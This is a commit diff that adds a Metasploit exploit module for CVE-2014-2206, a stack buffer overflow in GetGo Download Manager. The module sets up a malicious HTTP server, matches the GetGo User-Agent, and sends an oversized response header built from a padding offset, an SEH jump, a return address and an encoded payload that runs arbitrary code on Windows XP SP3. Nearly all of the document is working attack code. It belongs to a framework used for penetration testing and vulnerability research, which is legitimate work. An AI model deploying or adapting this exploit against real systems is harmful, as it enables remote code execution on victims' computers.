Land rapid7#4588 - GetGo Download Manager module

Author: wchen-r7

modules/exploits/windows/browser/getgodm_http_response_bof.rb

@@ -0,0 +1,170 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Seh
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'GetGo Download Manager HTTP Response Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a stack-based buffer overflow vulnerability in
+        GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
+        overly long HTTP response header.
+        By persuading the victim to download a file from a malicious server, a
+        remote attacker could execute arbitrary code on the system or cause
+        the application to crash. This module has been tested successfully on
+        Windows XP SP3.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Julien Ahrens',  # Vulnerability discovery
+          'Gabor Seljan'    # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'EDB', '32132' ],
+          [ 'OSVDB', '103910' ],
+          [ 'CVE', '2014-2206' ],
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process',
+          'URIPATH'      => "/shakeitoff.mp3"
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'BadChars'   => "\x00\x0a\x0d",
+          'Space'      => 2000
+        },
+      'Targets'        =>
+        [
+          [ 'Windows XP SP3',
+            {
+              'Offset' => 4107,
+              'Ret'    => 0x00280b0b  # CALL DWORD PTR SS:[EBP+30]
+            }
+          ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Mar 09 2014',
+      'DefaultTarget'  => 0))
+  end
+
+  #
+  # Handle the HTTP request and return a response.
+  # Code borrowed from: msf/core/exploit/http/server.rb
+  #
+  def start_http(opts={})
+    # Ensture all dependencies are present before initializing HTTP
+    use_zlib
+
+    comm = datastore['ListenerComm']
+    if (comm.to_s == "local")
+      comm = ::Rex::Socket::Comm::Local
+    else
+      comm = nil
+    end
+
+    # Default the server host / port
+    opts = {
+      'ServerHost' => datastore['SRVHOST'],
+      'ServerPort' => datastore['HTTPPORT'],
+      'Comm'       => comm
+    }.update(opts)
+
+    # Start a new HTTP server
+    @http_service = Rex::ServiceManager.start(
+      Rex::Proto::Http::Server,
+      opts['ServerPort'].to_i,
+      opts['ServerHost'],
+      datastore['SSL'],
+      {
+        'Msf'        => framework,
+        'MsfExploit' => self
+      },
+      opts['Comm'],
+      datastore['SSLCert']
+    )
+
+    @http_service.server_name = datastore['HTTP::server_name']
+
+    # Default the procedure of the URI to on_request_uri if one isn't
+    # provided.
+    uopts = {
+      'Proc' => Proc.new { |cli, req|
+          on_request_uri(cli, req)
+        },
+      'Path' => resource_uri
+    }.update(opts['Uri'] || {})
+
+    proto = (datastore["SSL"] ? "https" : "http")
+    print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
+
+    if (opts['ServerHost'] == '0.0.0.0')
+      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
+    end
+
+    # Add path to resource
+    @service_path = uopts['Path']
+    @http_service.add_resource(uopts['Path'], uopts)
+
+    # As long as we have the http_service object, we will keep the server alive
+    while @http_service
+      select(nil, nil, nil, 1)
+    end
+  end
+
+
+  #
+  # Kill HTTP/FTP (shut them down and clear resources)
+  #
+  def cleanup
+    super
+    stop_service
+
+    begin
+      @http_service.remove_resource(datastore['URIPATH'])
+      @http_service.deref
+      @http_service.stop
+      @http_service.close
+      @http_service = nil
+    rescue
+    end
+  end
+
+
+  def on_request_uri(cli, request)
+
+    print_status("Client connected...")
+
+    unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
+      print_error("Sending 404 for unknown user-agent")
+      send_not_found(cli)
+      return
+    end
+
+    sploit  = rand_text_alpha(target['Offset'])
+    sploit << "\x90\x90\xEB\x06"
+    sploit << [target.ret].pack('V')
+    sploit << payload.encoded
+
+    print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")
+
+    resp = create_response(200, sploit)
+    resp.body = ""
+    cli.send_response(resp)
+
+    close_client(cli)
+
+  end
+end